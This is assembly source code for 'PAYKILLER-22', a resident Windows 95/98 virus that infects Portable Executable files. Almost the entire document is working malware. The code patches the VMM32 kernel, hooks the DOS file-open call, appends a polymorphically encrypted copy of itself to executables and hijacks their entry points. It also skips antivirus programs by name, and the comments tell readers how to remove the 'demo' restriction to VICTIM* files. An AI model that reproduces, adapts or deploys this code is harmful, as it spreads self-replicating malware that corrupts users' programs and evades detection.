;           //////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\
;          |             M  A  D   R  O  C  K  E R               |
;          |                  p r e s e n t s                    |
;          |                                                     |
;          |              P A Y K I L L E R - 2 2                |
;          |                                                     |
;          |         f o r   W I N D O W S   9 5 - 9 8           |
;           \\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////////
;
;  It's a resident ( VMM32 - inserting ) virus, that infects only
;Portable Executable (PE) files. Hooks V86 interrupt chain, function 3dh
;of DOS service (open file). Virus modifies some fields of the last section
;and writes the main encrypted body with decryptor to the end of file.
;No destruction, no stealth, no anti-tracing/debugging... This is a DEMO
;version so only files with name "VICTIMXX.EXE(SCR)" will be infected.
;Warning : if you want to add some your improvements into the base code,
;you MUST control the size of virus body (pad size to dword boundary).
;Lounche and enjoy ! :-)))
;                                                   Mad  Rocker
;
    .386
    locals
    jumps
    model flat,stdcall
extrn  ExitProcess:proc
        .data
;
HeapZeroInit  equ 1
;
virus:
decoder db    60h,6fh dup (90h)  ;virus decryptor
decoder_size  equ $-decoder      ;size of decryptor
        mov   ebp,esp
        mov   ebp,[ebp+1ch]   ;EBP=stored EAX (we assume that EAX=EIP)
        jmp   short main_body
head_virus    equ $-virus
;       Virus DATA block
old_RVA      dd   offset end_of_game
virus_RVA    dd   offset virus
vir_buffer   dd   0           ;address of virus copy location
busy_flag    db   0
PE_pointer   dw   0           ;pointer to PE-header
Obj_pointer  dw   0
norm_physic  dd   0           ;size of virus code in File   sectors
norm_virtual dd   0           ;size of virus code in Object sectors
last_objsize dd   0           ;size of last object data
last_objbuff dd   0
file_date    dw   0           ;date of file creation
file_time    dw   0           ;time of file creation
file_mode    dw   0           ;file attributes
;
main_body:
        nop
        xor   eax,eax
        mov   esi,0c0001000h               ;start of VMM32.VXD code
        xor   ecx,ecx
        cld
search_hole:                               ;search the zero area in the VMM
        lodsd
        sub   esi,3
        or    esi,esi
        jz    short bypass_control
        cmp   eax,'KCUF'                   ;test for our presence in memory
        je    short bypass_control
        or    al,al                        ;AL is equal to zero ?
        jz    short test_size              ;let explore how many zero's
                                           ;we can find above the present
        xor   ecx,ecx
        jmp   short search_hole
test_size:
        inc   ecx
        cmp   ecx,virus_size+100h          ;the size of zero area must be
                                           ;more than (size of virus + 100h)
        jb    short search_hole
        xchg  edi,esi
        sub   edi,virus_size+100h          ;EDI-> start of zero area
WIN_95:
        mov   esi,0c000157fh               ;pointer to WIN 95 VMM32.VXD DDB
        mov   esi,[esi]
        cmp   esi,0d0000000h
        ja    short WIN_98
        jmp   short get_signature
WIN_98:
        mov   esi,0c0001811h               ;pointer to WIN 98 VMM32.VXD DDB
        mov   esi,[esi]
get_signature:
        add   esi,0ch
        lodsd
        xor   eax,' MMV'                   ;ask for VMM32 identifier
        jnz   short bypass_control
        add   esi,20h
        lodsd                              ;EAX-> VMM_Service_Table
        lea   ebx,[eax+15*4]               ;EBX=address of pointer of
                                           ;Schedule_VM_event service
        mov   [poinaddress-virus+ebp],ebx  ;save pointer to original address
        mov   eax,[ebx]                    ;get address of Schedule_VM_event
        mov   [realaddress-virus+ebp],eax  ;save original address
        mov   eax,edi
        mov   [location-virus+ebp],eax     ;save the start of zero area
        mov   [delta_offset-virus+ebp],eax
        add   eax,VMM_init-virus
        mov   [ebx],eax                    ;hook Schedule_VM_event service
        mov   esi,ebp                      ;ESI-> start of virus
        mov   ecx,virus_size
        cld
        rep   movsb                        ;copy virus to VMM32 area
; We can not be sure that our infected program will be loaded by system
;always at the Image_Base address. For example our program has
;Image_Base RVA=1000h. However the minimal value of Entrypoint RVA under
;Windows 95-98 is 400000h ! So in this case we have to calculate the REAL
;Entrypoint RVA and fix it.
bypass_control:
        mov   eax,[virus_RVA-virus+ebp]
        cmp   eax,ebp        ;is the REAL Entrypoint equal to RVA Entrypoint?
        je    short no_update_RVA
        mov   ebx,ebp
        sub   ebx,eax        ;delta of Image Base
        add   [old_RVA-virus+ebp],ebx
no_update_RVA:
        mov   eax,[old_RVA-virus+ebp]
        mov   ebp,esp
        mov   [ebp+1ch],eax  ;fix EAX value into the stack
        popad                ;now EAX=the real RVA Entrypoint
        jmp   $+2            ;break prefetch for 386-486 processors
        push  eax
        ret                  ;return control to original code
;
VMM_init:
        pushad
              db   0bdh      ;MOV EBP,address of our location
location      dd   0
              db   0bfh      ;MOV EDI,pointer to address of Schedule_VM_event
poinaddress   dd   0
        mov   eax,[realaddress-virus+ebp]
        cld
        stosd                ;restore address of Schedule_VM_event handler
        push  HeapZeroInit
        push  virus_size
dyna_link:
        int   20h
        dd    0001004fh      ;VMMCall _HeapAllocate
        add   esp,8
        mov   [vir_buffer-virus+ebp],eax
        mov   word ptr  [dyna_link-virus+ebp],20cdh
        mov   dword ptr [dyna_link+2-virus+ebp],0001004fh
        mov   edi,eax        ;EDI-> buffer
        mov   esi,ebp        ;ESI-> working resident copy
        mov   ecx,virus_size ;ECX=size of virus
        rep   movsb          ;store resident copy
        mov   eax,21h
        lea   esi,[RING_0_CODE-virus+ebp]
        int   20h
        dd    00010041h      ;VMMCall Hook_V86_Int_Chain
        popad
VMM_quit:
             db   0eah       ;jump to original Schedule_VM_event handler
realaddress  dd   0          ;original address of Schedule_VM_event
             dw   28h
;
INT_21h:
        push  21h             ;Number of executing interrupt
        int   20h
        dd    0001008fh       ;VMMCall Exec_VxD_Int
        ret
;
RING_0_CODE:                  ;the interceptor of V86_Int_Chain calling
        cmp   byte ptr [ebp+1dh],3dh
        jne   go_out          ;function 3dh of interrupt 21h  ?
              db   0beh       ;MOV ESI,the head of virus
delta_offset  dd   0
        cmp   byte ptr [busy_flag-virus+esi],1
        je    go_out
        mov   byte ptr [busy_flag-virus+esi],1
        sub   esp,6ch
        push  edi
        lea   edi,dword ptr [esp+4]
        int   20h
        dd    0001008dh       ;VMMCall Push_Client_State
        pop   edi
        int   20h
        dd    00010083h       ;VMMCall Begin_Nest_Exec
        movzx edx,word ptr [ebp+3ch]
        movzx eax,word ptr [ebp+14h]
        shl   edx,4
        add   edx,eax         ;EDX->name of file in ASCIIZ-format
        push  esi
        mov   esi,edx
        mov   ecx,edx
        cld
search_zero:                  ;try to find end of name
        lodsb
        or    al,al
        jnz   short search_zero
        sub   esi,ecx
        mov   ecx,esi         ;ECX=size of file name
        pop   esi
        mov   edi,edx
        push  ecx
test_ext:                     ;test file extension for '.EXE' or '.SCR'
        mov   eax,'EXE.'
        scasd
        jz    short our_client
        sub   edi,4
        mov   eax,'RCS.'
        scasd
        jz    short our_client
        sub   edi,3
        loop  test_ext
        pop   ecx
        jmp   short prepare_exit
our_client:
        pop   ecx             ;search some strings in the name of file
        mov   edi,edx
test_name:
;------------------------------;
        mov   eax,'TCIV'      ;this chain is needed only for testing and
        scasd                 ;debugging. If you want to create a "military
        jz    short file_open ;realization" you have to remove that :-)
        sub   edi,4
;------------------------------;
        mov   eax,'EWRD'      ;DRWEB for WIN 95-98 ... SUXX !!!
        scasd
        jz    short prepare_exit
        sub   edi,4
        mov   eax,'VABT'      ;Thunder Byte AntiVirus-no comments :-)
        scasd
        jz    short prepare_exit
        sub   edi,4
        mov   eax,'3PVA'      ;the more powerful software... However it is
                              ;also stupid...
        scasd
        jz    short prepare_exit
        sub   edi,3
        loop  test_name
        jmp   short prepare_exit
file_open:
        push  edx
        mov   ax,4300h
        call  INT_21h         ;get file attributes
        mov   [file_mode-virus+esi],cx
        xor   cx,cx
        mov   ax,4301h        ;set "zero" attribute
        call  INT_21h
        mov   ax,3d02h        ;open file for read-write access
        call  INT_21h
        jc    short restore_attrib
        xchg  ebx,eax         ;store file handle
        call  InfecT          ;call the main infection module :-)
restore_attrib:
        pop   edx
        mov   ax,4301h
        mov   cx,[file_mode-virus+esi]
        call  INT_21h         ;restore file attributes
prepare_exit:
        int   20h
        dd    00010086h       ;VMMCall End_Nest_Exec
        push  esi
        lea   esi,dword ptr [esp+4]
        int   20h
        dd    0001008eh       ;VMMCall Pop_Client_State
        pop   esi
        add   esp,6ch
        mov   byte ptr [busy_flag-virus+esi],0
go_out:
        stc
        ret
;
InfecT:
        mov   ah,3fh          ;read DOS header
        mov   ecx,40h
        lea   edx,dword ptr [EXE_header-virus+esi]
        call  INT_21h
        mov   ax,4200h        ;move file pointer to PE-header
        xor   ecx,ecx
        mov   dx,word ptr [EXE_header+3ch-virus+esi]
        mov   [PE_pointer-virus+esi],dx
        call  INT_21h
        mov   ah,3fh          ;read PE-header
        mov   ecx,60h
        lea   edx,[EXE_header-virus+esi]
        call  INT_21h
        cmp   word ptr [EXE_header-virus+esi],'EP'
        jne   file_close      ;it must be a Portable Executable file
        mov   eax,[EXE_header+4ch-virus+esi]
        mov   edx,eax
        shr   eax,10h
        xor   eax,edx
        cmp   ax,'RM'
        je    file_close      ;unfortunatly, this file is already infected
        mov   ax,5700h
        call  INT_21h         ;get date and time of file creation
        mov   [file_time-virus+esi],cx
        mov   [file_date-virus+esi],dx
        mov   ax,word ptr [EXE_header+6-virus+esi] ;total number of objects
        dec   eax
        mov   cx,28h          ;size of each Object table item
        mul   cx
        add   ax,18h
        add   ax,[EXE_header+14h-virus+esi] ;+ NT header size
        add   ax,[PE_pointer-virus+esi]     ;+ Pointer to PE-header
        mov   [Obj_pointer-virus+esi],ax ;store pointer to the last item of
                                         ;Object table
        xor   ecx,ecx
        xchg  edx,eax
        mov   ax,4200h        ;move file pointer to 2 last items
        call  INT_21h
        mov   ah,3fh          ;read  last item of Object table
        mov   ecx,28h         ;size of item
        lea   edx,[our_object-virus+esi]
        call  INT_21h
        mov   eax,virus_size  ;EAX=size of virus code (main body+decryptor)
        xor   edx,edx
        push  eax
        push  edx
        mov   ecx,[EXE_header+3ch-virus+esi]
        div   ecx             ;divided to File Alignment factor
        or    edx,edx
        jz    $+3
        inc   eax
        mul   ecx             ;EAX=size of virus in File sectors
        mov   [norm_physic-virus+esi],eax
        pop   edx
        pop   eax
        mov   ecx,[EXE_header+38h-virus+esi]
        div   ecx             ;divided to Object Alignment factor
        or    edx,edx
        jz    $+3
        inc   eax
        mul   ecx             ;EAX=size of virus in Object sectors
        mov   [norm_virtual-virus+esi],eax
        mov   eax,4202h
        xor   ecx,ecx
        cdq
        call  INT_21h          ;move file pointer to the end of file
        mov   ecx,[EXE_header+3ch-virus+esi] ;ECX=File Alignment factor
        div   ecx
        or    edx,edx
        jz    $+3
        inc   eax
        mul   ecx
        shl   edx,10h
        add   edx,eax     ;EDX=size of file in File sectors
        mov   ecx,edx
        sub   edx,[our_object+14h-virus+esi] ; - Physical offset of last
                                             ;object data
        mov   [our_object+10h-virus+esi],edx ;the end of file MUST be equal
                                             ;to the end of last object data
        mov   eax,[our_object+8-virus+esi]   ;EAX=Virtual size of last object
        cmp   eax,edx                        ;is the virtual size grater than
                                             ;physical size of last object ?
        jae   short no_virtual_preupdate
        mov   [our_object+8-virus+esi],edx   ;it's necessary to correct
                                             ;the field named "Virtual size"
no_virtual_preupdate:
        mov   eax,4200h
        mov   edx,ecx
        shr   ecx,10h
        call  INT_21h                        ;move file pointer to the "new"
                                             ;end of file
        mov   edi,[vir_buffer-virus+esi]     ;EDI-> virus copy
        add   edi,head_virus
        mov   eax,[EXE_header+28h-virus+esi]  ;EAX=RVA Entrypoint
        add   eax,[EXE_header+34h-virus+esi]  ;+ Image_Base
        stosd                                 ;save RVA Entrypoint
        mov   eax,[our_object+0ch-virus+esi]  ;object RVA
        mov   edx,[our_object+10h-virus+esi]  ;Object Physical size
        add   eax,edx
        mov   [EXE_header+28h-virus+esi],eax  ;update Entrypoint
        add   eax,[EXE_header+34h-virus+esi]  ;+ Image_Base
        stosd
        add   edx,[norm_physic-virus+esi]
        mov   [our_object+10h-virus+esi],edx  ;update Object Physical size
        mov   eax,virus_size
        add   [our_object+8-virus+esi],eax    ;update Object Virtual size
        mov   eax,[norm_virtual-virus+esi]
        add   [EXE_header+50h-virus+esi],eax  ;update Image_Size
        or    [our_object+24h-virus+esi],0e0000000h ;add flags that provides
                                                    ;a possibility of reading,
                                                    ;writing and executing
        mov   ax,'RM'         ;identifier of infection
        mov   cx,[file_time-virus+esi]
        xor   ax,cx           ;encrypt it
        mov   [EXE_header+4ch-virus+esi],ax  ;store identifier
        mov   [EXE_header+4eh-virus+esi],cx  ;store key
;
;We have to reinitialize the buffer contains the virus copy in agreement of
;File alignment factor. This step can be ignored,but it very beautiful if
;infected file has properties of "normal" file. "Normal" files always has
;a zero block at the end...
;
        push  HeapZeroInit
        push  dword ptr [norm_physic-virus+esi]
        push  dword ptr [vir_buffer-virus+esi]
        int   20h
        dd    00010050h                      ;VMMCall _HeapReallocate
        add   esp,0ch
        or    eax,eax
        jz    short file_close
        mov   [vir_buffer-virus+esi],eax     ;pointer to the new buffer
        call  CRYPTOGEN_WIN32enc             ;generate decryptor and encrypt
                                             ;the virus copy
        mov   ah,40h
        mov   ecx,[norm_physic-virus+esi]    ;modified size of virus code
        mov   edx,[vir_buffer-virus+esi]     ;location of virus
        call  INT_21h                        ;write virus code
        call  CRYPTOGEN_WIN32dec             ;decrypt the virus copy
        mov   ax,4200h
        xor   ecx,ecx
        mov   dx,[Obj_pointer-virus+esi]
        call  INT_21h                        ;move file pointer to the last
                                             ;item of Object table
        mov   ah,40h
        mov   ecx,28h         ;ECX=28h-size of item of Object Table
        lea   edx,[our_object-virus+esi]
        call  INT_21h         ;write two last modified object items
        mov   ax,4200h
        xor   ecx,ecx
        mov   dx,[PE_pointer-virus+esi]
        call  INT_21h         ;move file pointer to the start of PE-header
        mov   ah,40h
        mov   ecx,060h
        lea   edx,[EXE_header-virus+esi]
        call  INT_21h         ;write the modified PE-header
        mov   ax,5701h
        mov   cx,[file_time-virus+esi]
        mov   dx,[file_date-virus+esi]
        call  INT_21h         ;restore file creation date/time
file_close:
        mov   ah,3eh          ;close file
        call  INT_21h
        ret
;---------------------------------------------
CRYPTOGEN_WIN32enc:           ;the Polimorphic generator
        push  esi
        push  edi
        push  ebx
        sub   esi,offset virus
        mov   edi,[vir_buffer+esi]
        mov   ah,2ch
        call  INT_21h         ;get system time
        rol   edx,cl
        xor   ecx,edx
        mov   [_random+esi],ecx ;ECX=some random value
        mov   edx,ecx
        xor   ebx,ebx
        shr   ecx,18h
        inc   ecx
detect_regs:                  ;we give the "role" to each of registers : EAX,
                              ;EBX,ECX,EDX
        mov   bl,dl
        shr   bl,6            ;BL=0..3
        mov   al,byte ptr [_REGISTERS+ebx+esi]
        rol   edx,1
        mov   bl,dl
        shr   bl,6
        mov   ah,byte ptr [_REGISTERS+ebx+esi]
;Do you understand , what I'm doing ? I'm mix registers... One of register
;will contain a key of encryption,second will be a "pointer" to encrypted
;body etc...
        mov   byte ptr [_REGISTERS+ebx+esi],al
        ror   edx,1
        mov   bl,dl
        shr   bl,6
        mov   byte ptr [_REGISTERS+ebx+esi],ah
        xor   edx,ecx
        rol   edx,1
        loop  detect_regs
        mov   ecx,decoder_size
        mov   edx,[_random+esi]
        cld
;
;fill the decryptor block (70h bytes) by one-byte instructions (CLD,STD etc)
;
fill_decoder:
        mov   bl,dl
        shr   bl,6            ;BL=0..3
        mov   al,byte ptr [_garbage+ebx+esi] ;get instruction from table
        stosb
        rcl   edx,1
        xor   edx,[_random+esi]
        mov   [_random+esi],edx
        loop  fill_decoder
        mov   edi,[vir_buffer+esi]           ;EDI->start of decryptor
        call  inc_EDI
;
;the first "normal" instruction of decryptor will be "PUSHA"...
;
set_PUSHA:
        mov   al,60h
        stosb
        call  inc_EDI
set_PUSH_EAX:
        mov   al,50h
        stosb
        call  inc_EDI
;
;Now let determine the "pointer" to the main encrypted virus body.
;When the WIN32 program starting, EAX = Entrypoint. The chain consisted of
;two instructions (PUSH EAX - POP XXX) will give me the pointer value.
;
set_INIT_POINTER:
        mov   al,58h      ;"PUSH EAX" instruction
        add   al,byte ptr [_pointer+esi]
        stosb
        call  inc_EDI

set_INIT_KEY:
        mov   al,0b8h     ;"MOV REGISTER,XXXX" prefix
        add   al,byte ptr [_key+esi]
        stosb
        mov   eax,edx
        mov   [_enckey+esi],edx
        stosd
        call  inc_EDI
set_INIT_RND1:
        mov   al,0b8h     ;the same command
        add   al,byte ptr [_unusable+esi]
        stosb
        mov   eax,[_random+esi]
        mov   [_rnd_1+esi],eax
        stosd
        call  inc_EDI
FINAL_INIT_POINTER:
        mov   al,0b8h
        add   al,byte ptr [_counter+esi]
        stosb
        mov   eax,virus_size
        sub   eax,[_rnd_1+esi]
        stosd
        call  inc_EDI
        mov   al,03h
        stosb
        mov   al,0c0h
        mov   ah,byte ptr [_counter+esi]
        shl   ah,3
        add   al,ah
        add   al,byte ptr [_unusable+esi]
        stosb
        call  inc_EDI
        mov   al,03h
        stosb
        mov   al,0c0h
        mov   ah,byte ptr [_pointer+esi]
        shl   ah,3
        add   al,ah
        add   al,byte ptr [_counter+esi]
        stosb
        call  inc_EDI
;
;I'll initialize the "counter" register by using a non-trivial method.First,I
;move to "counter" register a random value (V1). Second ,I initialize another
;register by the value(V2), that calculated as: V2=size of virus - V1.
;Finishly, the "ADD" instruction (V1+V2) will initialize the counter register
;
set_INIT_RND2:
        mov   al,0b8h
        add   al,byte ptr [_unusable+esi]
        stosb
        mov   eax,[_random+esi]
        mov   [_rnd_2+esi],eax
        stosd
        call  inc_EDI
set_INIT_COUNTER:
        mov   al,0b8h
        add   al,byte ptr [_counter+esi]
        stosb
        mov   eax,virus_size-decoder_size+4
        sub   eax,[_rnd_2+esi]
        stosd
        call  inc_EDI
        mov   al,03h
        stosb
        mov   al,0c0h
        mov   ah,byte ptr [_counter+esi]
        shl   ah,3
        add   al,ah
        add   al,byte ptr [_unusable+esi]
        stosb
        call  inc_EDI
        mov   [_st_cycle+esi],edi
set_XOR:                           ;I use a simple "XOR" cycle to encrypt
        mov   al,31h
        stosb
        mov   al,byte ptr [_key+esi]
        shl   al,3
        add   al,byte ptr [_pointer+esi]
        stosb
        call  inc_EDI
        mov   ecx,4
set_DEC_POINTER:
        mov   al,48h
        add   al,byte ptr [_pointer+esi]
        stosb
        call  inc_EDI
        loop  set_DEC_POINTER
set_ROL_KEY:                      ;the key of encryption will be dinamically
                                  ;changed from double word to double word...
        mov   al,0d1h             ;"ROL REGISTER,1" prefix
        stosb
        mov   al,0c0h
        add   al,[_key+esi]
        stosb
        call  inc_EDI
set_XOR_KEY:
        mov   al,33h
        stosb
        mov   al,0c0h
        mov   ah,byte ptr [_key+esi]
        shl   ah,3
        add   al,ah
        add   al,byte ptr [_counter+esi]
        stosb
        call  inc_EDI
        mov   ecx,4
set_DEC_COUNTER:
        mov   al,48h
        add   al,byte ptr [_counter+esi]
        stosb
        call  inc_EDI
        loop  set_DEC_COUNTER
set_LOOP:
        mov   al,75h
        stosb
        mov   eax,0ffh
        sub   eax,edi
        add   eax,[_st_cycle+esi]
        stosb
        add   esi,offset virus
        call  CRYPTOGEN_WIN32dec
        pop   ebx
        pop   edi
        pop   esi
        ret
;
inc_EDI:                             ;this routine increases the EDI-pointer
        xor   ebx,ebx                ;to decryptor
        mov   bl,dl
        shr   bl,6
        rcl   edx,1
        xor   edx,[_random+esi]
        mov   [_random+esi],edx
        add   edi,ebx
        ret
_random   dd   0
_rnd_1    dd   0
_rnd_2    dd   0
_st_cycle dd   0
;
; I numbering the each of registers (EAX->0,ECX->1,EDX->2,EBX->3)
;
_REGISTERS:
_pointer  db   0
_counter  db   1
_key      db   2
_unusable db   3
;
_enckey   dd   0
_garbage  db   90h,0f8h,0fch,0fdh
;--------------------------------------------
CRYPTOGEN_WIN32dec:
        push  edi
        mov   edi,[vir_buffer-virus+esi]
        add   edi,virus_size
        mov   ecx,virus_size-decoder_size+4
        mov   eax,[_enckey-virus+esi]
encrypt_body:
        xor   [edi],eax
        sub   edi,4
        rol   eax,1
        xor   eax,ecx
        sub   ecx,4
        jnz   encrypt_body
        pop   edi
        ret
virus_size   equ $-virus      ;the size of virus
EXE_header:
our_object   equ EXE_header+60h
;
        .code
start:                        ;original program
        mov    eax,offset virus
        jmp    virus          ;bypass control to virus code
end_of_game:
        xor    eax,eax
        push   eax
        call   ExitProcess
             end  start
